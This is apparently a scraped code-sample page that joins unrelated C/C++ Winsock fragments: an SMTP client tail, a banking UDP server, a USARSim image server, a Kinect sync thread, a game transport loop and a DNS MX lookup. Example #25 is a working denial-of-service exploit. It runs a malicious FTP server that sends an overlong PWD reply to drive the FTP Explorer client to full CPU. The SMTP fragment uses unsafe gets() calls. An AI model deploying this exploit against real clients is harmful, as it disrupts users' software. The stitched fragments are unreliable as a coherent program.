						sprintf_s(buffer_out,sizeof(buffer_out),"RCPT TO:<%s>%s",destinatario,CRLF);
						break;
					case S_DATA:
						sprintf_s(buffer_out,sizeof(buffer_out),"DATA%s",CRLF);
						break;
					case S_MENSAJE:
						
						//Fecha origen
						reloj(fecha);

						//Asunto
						printf("\nAsunto: ");
						gets(asunto);

						//Cabeceras  del mensaje
						sprintf_s(mensaje,sizeof(mensaje),"Date: %s%sFrom: %s%sTo: %s%sSubject: %s%s",fecha,CRLF,username,CRLF,destinatario,CRLF,asunto,CRLF);
						printf("\nMENSAJE: (escribe un '.' para finalizar)\r\n");
						do{
							gets(entrada);
							sprintf_s(mensaje,sizeof(mensaje),"%s%s%s",mensaje,CRLF,entrada);
						}while(strncmp(entrada,".",1)!=0);
						sprintf_s(buffer_out,sizeof(mensaje),"%s%s",mensaje,CRLF);
						break;
		
					}
					
					
					//Envio
					
					enviados=send(sockfd,buffer_out,(int)strlen(buffer_out),0);
					
					if (enviados<0){
						DWORD error=GetLastError();
						
							printf("Error %d en el envio de datos%s",error,CRLF);
							break;
					}

					//Recibo
					recibidos=recv(sockfd,buffer_in,512,0);
					if(recibidos<=0){
						DWORD error=GetLastError();
						if(recibidos<0)
						{
							printf("Error %d en la recepción de datos\r\n",error);
							estado=S_QUIT;
						}
						else
						{
							printf("Conexión con el servidor cerrada\r\n");
							estado=S_QUIT;
						}
					}
					

					if (strncmp(buffer_in,"554",3)==0){
						printf("\nDicho destinatario no existe, reintentelo\r\n\n");
					}
					if (estado==S_MENSAJE && strncmp(buffer_in,"250",3)==0){
						char op;
						system("cls");
						head();
						printf("Mensaje enviado correctamente\r\n\n");
						printf("Desea enviar otro mensaje[S/N]");
						op=_getche();
						if (op=='S' || op=='s'){
							estado=S_RSET;
						}
						else{ 
							system("cls");
							head();
							estado=S_QUIT;
						}
					}
					//Avance de estado
					else if(strncmp(buffer_in,"2",1)==0 || strncmp(buffer_in,"3",1)==0){
						estado++;
					}
					
					
				}while(estado!=S_QUIT);
			
			}
			else	//Error al Conectar
			{
				printf("ERROR AL CONECTAR CON %s:%d\r\n",ipdest,TCP_SERVICE_PORT);
			}		
			// fin de la conexion de transporte
			closesocket(sockfd);
			
		}

		printf("Volver a conectar, con este u otro cliente(S/N)\r\n");
		option=_getche();	//realizar otra conexión

	}while(option!='n' && option!='N');

	
	
	return(0);

}
示例#25
0
int main(int argc, char* argv[])
{
	char recvbuff[1024];
	char evilbuff[30000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));

	printf("[+] FTP Explorer Remote CPU consumption DoS\n");
	printf("[+] Coded and discovered by Marsu <*****@*****.**>\n");
	printf("[*] Listening on port 21 ...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");
	memcpy(evilbuff,"220 Hello there\r\n\0",18);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}

	//USER
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
    	memcpy(evilbuff,"331 \r\n\0",7);
	send(client,evilbuff,strlen(evilbuff),0);

	//PASS
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"230 \r\n\0",7);
	send(client,evilbuff,strlen(evilbuff),0);

	//SYST 
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
	send(client,evilbuff,strlen(evilbuff),0);

	//PWD
	int i=5;
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	while (i<25000) {
		memset(evilbuff+i,'a',1);
		i++;
		memset(evilbuff+i,'/',1);
		i++;
	}
	memcpy(evilbuff,"257 \"",5);
	memcpy(evilbuff+25000,"\"\r\n\0",4);
	send(client,evilbuff,strlen(evilbuff),0);

	Sleep(100);
	printf("[+] Must be 100%% CPU consuming\n");
	closesocket(client);
	closesocket(server);
	return 0;

}
示例#26
0
int main(int argc, char *argv[])
{
    static struct sockaddr_in ZERO_SOCKADDR;

    WSADATA w;
    struct sockaddr_in client, server = ZERO_SOCKADDR;
    SOCKADDR *c = (SOCKADDR *)&client;
    int cLen = (int)sizeof(struct sockaddr_in);
    int sd = 0;
    char *dbPath = NULL;
    unsigned short port = 0;
    User *head = NULL;
	char doLogin = FALSE;
	char doShutDown = FALSE;
	time_t currTime;
	int option = 0;
	char ipAddr[MAX_IP_LEN];
	char initialized = FALSE;

    // Test for correct number of arguments
    if (argc != 3)
    {
       usage();
       exit(0);
    }

    dbPath = argv[1];
    port = atoi(argv[2]);

    // Validate port number
    if (!port || port < 256 || port > 65535)
    {
        fprintf(stderr, "Invalid port number.\n");
        usage();
        exit(0);
    }
    
    // Open and parse the database file
    head = readDatabase(dbPath);
    if (!head)
        DieWithError("Error reading database file.\n");

    // Initialize Winsock
    if (WSAStartup(MAKEWORD(2, 0), &w))
        DieWithError("WSAStartup() failed.");

    // Open a datagram socket
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sd == INVALID_SOCKET)
        DieWithError("Could not create socket.\n");

    // Clear out server struct
    server = ZERO_SOCKADDR;

    // Set family, port, and address
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = htonl(INADDR_ANY);

    // Bind to the local address
    if (bind(sd, (struct sockaddr *)&server, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
    {
        closesocket(sd);
        DieWithError("bind() failed");
    }

    printf("\nWaiting for connection...\n\n");

    for (;;) // Run forever
    {
		char buffer[BUFFER_SIZE];
		User *clientUser;

		// Shut down the server if the flag is set
		if (doShutDown == TRUE)
			break;

		// Wait for client to send initial packet to confirm connection
		if (!doLogin && recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen) == SOCKET_ERROR)
		{
			fprintf(stderr, "recvfrom() failed.\n");
			continue;
		}

		// Login on initial connection and if flag is set
		if(!strcmp(buffer, "connect") || doLogin)
		{
			// Get IP address if first transmission
			if (!initialized)
			{	
				recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen);
				sscanf(buffer, "%s", &ipAddr);
			}

			// Loop until successful login
			while (!(clientUser = login(sd, c, cLen, head, ipAddr)))
				sendEncrypt(sd, "\nInvalid credentials. Please try again.\n", BUFFER_SIZE, 0, c, cLen);
			initialized = TRUE;
		}

		// Display successful login
		currTime = time(NULL);
        printf("%.24s : %s %s has logged in from %s.\n", ctime(&currTime), clientUser->firstName,
            clientUser->lastName, clientUser->ipAddr);

        sprintf(buffer, "\n\nLogin successful. Welcome, %s %s!\n",
            clientUser->firstName, clientUser->lastName);
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        sprintf(buffer, "User type: %s\n", clientUser->userType == 'C' ? "Customer" : "Manager");
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        if ((long long)clientUser->lastLogin > 0)
		    sprintf(buffer, "Last login: %.24s\n", ctime(&clientUser->lastLogin)); 
	    else
		    sprintf(buffer, "Last login: N/A\n");
	    sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

		sprintf(buffer, "Last IP address: %s\n\n", clientUser->ipAddr);
        sendEncrypt(sd, buffer, BUFFER_SIZE, 0, c, cLen);

        // Set the last login time to the current time
        clientUser->lastLogin = currTime;

        // Initialize login flag
		doLogin = FALSE;

        while (doLogin == FALSE && doShutDown == FALSE)
        {
            // Print menu for correct user type
            switch(clientUser->userType) {

            case 'M': // Manager
                sendEncrypt(sd, "\nRequest Code\t Action\n\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "1\t\t Report balance of a selected customer\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "2\t\t Transfer money between two accounts\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "3\t\t Add a new customer to the system\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "4\t\t See the list of customers and their account information\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "5\t\t Report customer accounts sorted by balance\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "6\t\t See the total balance of all customers\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "7\t\t Shut down the server\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "8\t\t Logout\n", BUFFER_SIZE, 0, c, cLen);
                break;

            case 'C': // Customer
                sendEncrypt(sd, "Request Code\t Action\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "1\t\t Report balance of the customer\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "2\t\t Transfer money to another customer account\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "3\t\t Change password\n", BUFFER_SIZE, 0, c, cLen);
                sendEncrypt(sd, "4\t\t Logout\n", BUFFER_SIZE, 0, c, cLen);
                break;

            default:    // Shouldn't reach here since it loops until successful login.
                break;
            }

            sendEncrypt(sd, "\nPlease enter a Request Code: ", BUFFER_SIZE, 0, c, cLen);
            sendDone(sd, c, cLen);

            // Blocking wait for menu option from client
            if(recvDecrypt(sd, buffer, BUFFER_SIZE, c, &cLen) == (BUFFER_SIZE+1)) { doLogin = TRUE; continue; }

			// Get user input
			if (sscanf(buffer, "%d", &option) != 1)
				option = -1;

            // Perform appropriate action
            if (clientUser->userType == 'M')  // Manager
            {
                switch(option) {
                    case 1: if(seeBalanceSelected(sd, c, cLen, head) == -1){ doLogin = TRUE;} break;
                    case 2: if(transferBetweenAccounts(sd, c, cLen, head) == -1){ doLogin = TRUE;} break;
                    case 3: if(addNewCustomer(sd, c, cLen, &head) == -1){ doLogin = TRUE;} break;
                    case 4: listCustomers(sd, c, cLen, head); break;
                    case 5: sortByBalance(sd, c, cLen, &head); listCustomers(sd, c, cLen, head); break;
                    case 6: totalBalanceOfAll(sd, c, cLen, head); break;
                    case 7: doShutDown = TRUE; break;	// Sets flag to shut down server
                    case 8: doLogin = TRUE; break;		// Sets flag to loop back to login state
                    default: sendEncrypt(sd, "\n\nInvalid input. Please enter a valid option.\n\n", BUFFER_SIZE, 0, c, cLen); break;
                }
            }
            else if (clientUser->userType == 'C') // Customer
            {
                switch(option) {
                    case 1: seeUserBalance(sd, c, cLen, clientUser); break;
                    case 2: if(transferToCustomer(sd, c, cLen, clientUser, head) == -1){ doLogin = TRUE;} break;
                    case 3: if(changePassword(sd, c, cLen, clientUser) == -1){ doLogin = TRUE;} break;
                    case 4: doLogin = TRUE; break; // Sets flag to loop back to login state
                    default: sendEncrypt(sd, "\n\nInvalid input. Please enter a valid option.\n\n", BUFFER_SIZE, 0, c, cLen); break;
                }
            }
            else{}
        }
		// Reached when log out OR shut down flag is set to true
		sendEncrypt(sd, "\n\nLogging out.", BUFFER_SIZE, 0, c, cLen);
		currTime=time(NULL);
		printf("%.24s : %s %s has logged out.\n\n", ctime(&currTime), clientUser->firstName, clientUser->lastName);
		writeDatabase(dbPath, head);

		if (doShutDown == FALSE)
			sendEncrypt(sd, BORDER, BUFFER_SIZE, 0, c, cLen);
    }
    // Reached when shut down flag is set to true
	sendEncrypt(sd, BORDER, BUFFER_SIZE, 0, c, cLen);
	sendEncrypt(sd, "\nThe server has shut down. Client is closing. Thank you.\n\n", BUFFER_SIZE, 0, c, cLen);
	sendEncrypt(sd, "close", BUFFER_SIZE, 0, c, cLen);	// message to close the client
	printf("Server is shutting down by client request.\n\n");
}
示例#27
0
// This is the main server thread function.  As clients connect to the server,
// the HandleClientThreadFunction is called (within a new thread) to handle the
// new client.
void ServerThreadFunction(void * parameters){
	WSADATA winsock;
	SOCKET listenSocket, clientSocket;
	sockaddr_in socketAddress;
	BOOL bReuseAddr = TRUE;

	// Configure FreeImage error handler
	FreeImage_SetOutputMessage( FreeImageErrorHandler );

	// Pull parameters from environmental variables
	ConfigureOptions();
	
	// Setup WinSock
	if(WSAStartup (0x0202, &winsock) != 0) return;
	if (winsock.wVersion != 0x0202){
		MessageBox(NULL, "Incorrect Winsock version", "USARSim Image Server", MB_OK);	
		WSACleanup();
		return;
	}

	// Configure the socket for TCP
	listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(listenSocket == INVALID_SOCKET){
		MessageBox(NULL, "Socket failed", "USARSim Image Server", MB_OK);	
		WSACleanup();
		return;
	}

	if (setsockopt(listenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&bReuseAddr, sizeof(bReuseAddr)) == SOCKET_ERROR) {
		MessageBox(NULL, "SetSockOpt failed", "USARSim Image Server", MB_OK);
		WSACleanup();
		return;
	}

	// Bind to port 5003
	memset(&socketAddress, 0, sizeof(sockaddr_in));
	socketAddress.sin_family = AF_INET;
	socketAddress.sin_port = htons(5003);
	socketAddress.sin_addr.s_addr = htonl(INADDR_ANY);
	if (bind(listenSocket, (LPSOCKADDR)&socketAddress, sizeof(socketAddress)) == SOCKET_ERROR){
	  MessageBox(NULL, "Bind Failed", "USARSim Image Server", MB_OK);
	  WSACleanup();
	  return;
	}

	// Listen on the socket for new clients
	if (listen(listenSocket, 732) == SOCKET_ERROR){
      MessageBox(NULL, "Listen failed", "USARSim Image Server", MB_OK);	
	  WSACleanup();
	  return;
	}

	for(;;){
		// Wait for a new client
		clientSocket = accept(listenSocket, NULL, NULL);

		// Check if new client is valid
		if(clientSocket == INVALID_SOCKET){
			MessageBox(NULL, "Accept failed", "USARSim Image Server", MB_OK);
			closesocket(listenSocket);
			break;
		}

		// Start a new thread to handle the new client
		_beginthread(HandleClientThreadFunction, 0, (void*)clientSocket);
	}
	
	// Process cleanup
	MessageBox(NULL, "ServerThread finished", "USARSim Image Server", MB_OK);
	WSACleanup();
	return;
}
bool CKinectXboxSyncThread::Initialize()
{
	ILog* iLog = gEnv->pLog;
	m_XboxListenSocket	=	SOCKET_ERROR;

	// Initialize Winsock
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if (iResult != NO_ERROR)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: Failed to initialize Winsock\n");
		return false;
	}

	int Err = SOCKET_ERROR;

	// if IP is provided in CVar then use that one directly, else try to retrieve using XBDM
	string XboxIP = g_pInputCVars->i_kinectXboxConnectIP->GetString();
	if (XboxIP.length() == 0)
		XboxIP = GetXboxIP();

	// if we still don't have a valid IP then don't bother connecting
	if (XboxIP.length() == 0)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: can't get valid XBox IP address (either have a default Xbox IP in the neighbourhood or provide one with i_kinectXboxConnectIP)\n");
		return false;
	}

	m_XboxListenSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(m_XboxListenSocket == INVALID_SOCKET)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: can't create client socket: error %i\n",m_XboxListenSocket);
		return false;
	}

	int arg = 1;
	setsockopt(m_XboxListenSocket, SOL_SOCKET, SO_REUSEADDR, (char*)&arg, sizeof arg);

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof addr);
	addr.sin_family = AF_INET;
	addr.sin_port = htons(g_pInputCVars->i_kinectXboxConnectPort); 
	addr.sin_addr.s_addr = inet_addr(XboxIP.c_str());

	Err = connect(m_XboxListenSocket, (struct sockaddr *)&addr, sizeof addr);

	if(Err<0)
	{
		int WSAError = WSAGetLastError();
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: could not connect to %s (error %i, sys_net_errno=%i)\n", XboxIP.c_str(), Err, WSAError);

		// if buffer is full try sleeping a bit before retrying
		// (if you keep getting this issue then try using same shutdown mechanism as server is doing (see server code))
		// (for more info on windows side check : http://www.proxyplus.cz/faq/articles/EN/art10002.htm)
		if (WSAError == WSAENOBUFS)
		{
			Sleep(5000);
		}

		//socketclose(s);
		//return (size_t)-1;
		struct timeval tv;
		struct fd_set emptySet;
		FD_ZERO(&emptySet);
		tv.tv_sec = 1;
		tv.tv_usec = 0;
		closesocket(m_XboxListenSocket);
		m_XboxListenSocket = INVALID_SOCKET;
		return false;
	}

	if (m_XboxListenSocket == INVALID_SOCKET)
	{
		iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid socket after trying to connect: error %i, sys_net_errno=%i\n", Err, WSAGetLastError() );
		return false;
	}

	{
		char szIPAddress[1024];
		if(gethostname(szIPAddress, sizeof(szIPAddress)) == SOCKET_ERROR)
		{
			iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid return value on gethostname: sys_net_errno=%i\n", WSAGetLastError() );
			return false;
		}

		struct hostent *host = gethostbyname(szIPAddress);
		if(host == NULL)
		{
			iLog->LogError("ERROR: CKinectXboxSyncThread::Initialize: invalid return value on gethostbyname: sys_net_errno=%i\n", WSAGetLastError() );
			return false;
		}

		//Obtain the computer's IP
		unsigned char b1, b2, b3, b4;
		b1 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b1;
		b2 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b2;
		b3 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b3;
		b4 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b4;

		sprintf_s(szIPAddress, 128, "%d.%d.%d.%d", b1, b2 , b3, b4);

		// tell the app about our IP address
		char acSendData[128];
		sprintf_s(acSendData, 128, "IP:%s", szIPAddress);
		::send(m_XboxListenSocket, acSendData, 128, 0);
	}

	{
		// tell the app that we are listening
		char acData[128];
		sprintf_s(acData, 128, "Status:2");
		::send(m_XboxListenSocket, acData, 128, 0);
	}

	return true;
}
示例#29
0
void SocTransport::Poll()
{
	if (!IsOpen())
		return;

	// Users of Transport::AsyncConnect rely on it not completing the connection
	// immediately so they have an opportunity to hook the OnConnectComplete
	// callback.

	if (m_pconAsyncConnect != NULL) {
		if (m_fAsyncConnectLoopback)
			((LoopbackConnection *)m_pconAsyncConnect)->Connect();
		IConnectionCallback *pccb = m_pconAsyncConnect->GetCallback();
		if (pccb != NULL) {
			pccb->OnConnectComplete(m_pconAsyncConnect);
		}
		m_pconAsyncConnect = NULL;
	}

	// While a game is being advertised the server accepts client connections

	if (m_socAcceptListen != INVALID_SOCKET) {

		// Test if any client connection requests are pending

		fd_set fds;
		FD_ZERO(&fds);
		FD_SET(m_socAcceptListen, &fds);
		TIMEVAL tvTimeout;
		tvTimeout.tv_sec = 0;
		tvTimeout.tv_usec = 0;
		int nSelected = select(((int)m_socAcceptListen) + 1, &fds, NULL, NULL, &tvTimeout);
		if (nSelected == SOCKET_ERROR) {
#ifdef DEBUG
			HostMessageBox(TEXT("select err: %s"), PszFromSocError());
#endif
			if (m_ptcb != NULL)
				m_ptcb->OnTransportError(ktraeAdvertiseGameFailed);
			return;
		}

		// Accept a client connection and produce a new socket for communicating with that client

		if (nSelected == 1) {
			NetAddress nad;
			memset(&nad, 0, sizeof(nad));
#ifdef IPHONE
            socklen_t cbAddr = sizeof(nad);
#else
			int cbAddr = sizeof(nad);
#endif
			SOCKET socConn = accept(m_socAcceptListen, (sockaddr *)&nad, &cbAddr);
			if (socConn == INVALID_SOCKET) {
				// This error is seen on a Tungsten C hosting a game when a ux50 
				// times out while trying to connect. The best thing to do is just
				// ignore the connection attempt. Hopefully it will try again and
				// get it right this time

				if (WSAGetLastError() == 0)
					return;
#ifdef DEBUG
				HostMessageBox(TEXT("accept err: %s"), PszFromSocError());
#endif
				return;
			}
//			HostMessageBox("cbAddr = %d, sizeof(sockaddr_in) = %d", cbAddr, sizeof(sockaddr_in));
//			Assert(cbAddr == sizeof(sockaddr_in));

			Connection *pcon = new SocConnection(socConn);
			Assert(pcon != NULL, "out of memory!");
			if (pcon == NULL) {
				closesocket(socConn);
				return;
			}
			AddConnection(pcon);

			if (m_ptcb != NULL) {
				if (!m_ptcb->OnClientConnect(pcon))
					delete pcon;
			}
		}
	}

	Transport::Poll();
}
示例#30
0
static struct mxlist_t *my_get_mx_list2(struct sockaddr_in *dns_addr, const char *domain, int *err_stat)
{
	int sock, reply_len, rrcode, buf_size;
	int loc_retry;
	struct timeval tv;
	struct fd_set fds;
	unsigned char *buf;
	unsigned short query_fl;
	struct dnsreq_t *reply_hdr;
	struct mx_rrlist_t *rrlist=NULL, *rr1;
	struct mxlist_t *mxlist_root, *mxlist_top, *mxlist_new;

	*err_stat = 1;

	buf_size = 4096;
	buf = (char *)mx_alloc(buf_size);
	if (buf == NULL) return NULL;

	sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (sock == 0 || sock == INVALID_SOCKET) {
		mx_free(buf);
		return NULL;
	}

	for (loc_retry=0; loc_retry<2; loc_retry++) {
		mxlist_root = mxlist_top = NULL;

		if (loc_retry == 0)
			query_fl = htons(0x0100);
		else
			query_fl = htons(0);

		if (mx_make_query(sock, dns_addr, domain, query_fl))
			continue;

		FD_ZERO(&fds); FD_SET(sock, &fds);
		tv.tv_sec = 12; tv.tv_usec = 0;
		if (select(0, &fds, NULL, NULL, &tv) <= 0)
			continue;

		memset(buf, '\0', sizeof(buf));
		reply_len = recv(sock, buf, buf_size,0);
		if (reply_len <= 0 || reply_len <= sizeof(struct dnsreq_t))
			continue;

		reply_hdr = (struct dnsreq_t *)buf;

		rrcode = ntohs(reply_hdr->flags) & 0x0F;
		if (rrcode == 3) {
			*err_stat = 2;
			break;
		}
		if ((rrcode == 2) && (ntohs(reply_hdr->flags) & 0x80)) {
			*err_stat = 2;
			break;
		}
		if (rrcode != 0)
			continue;

		rrlist = mx_parse_rr(buf, reply_len);
		if (rrlist == NULL)
			continue;

		mxlist_root = mxlist_top = NULL;
		for (rr1=rrlist; rr1; rr1=rr1->next) {
			if ((rr1->rr_class != CLASS_IN) || (rr1->rr_type != TYPE_MX) || (rr1->rdlen < 3))
				continue;
			mxlist_new = (struct mxlist_t *)mx_alloc(sizeof(struct mxlist_t));
			if (mxlist_new == NULL) break;
			memset(mxlist_new, 0, sizeof(struct mxlist_t));

			mxlist_new->pref = ntohs(*(WORD *)(buf+rr1->rdata_offs+0));
			mx_decode_domain(buf, rr1->rdata_offs+2, reply_len, mxlist_new->mx);
			if (mxlist_new->mx[0] == 0) {
				mx_free(mxlist_new);
				continue;
			}

			if (mxlist_top == NULL) {
				mxlist_root = mxlist_top = mxlist_new;
			} else {
				mxlist_top->next = mxlist_new;
				mxlist_top = mxlist_new;
			}
		}

		if (mxlist_root == NULL) {
			mx_free_rrlist(rrlist);
			continue;
		}

		mx_free_rrlist(rrlist);
		break;
	}
	mx_free(buf);
	closesocket(sock);
	return mxlist_root;
}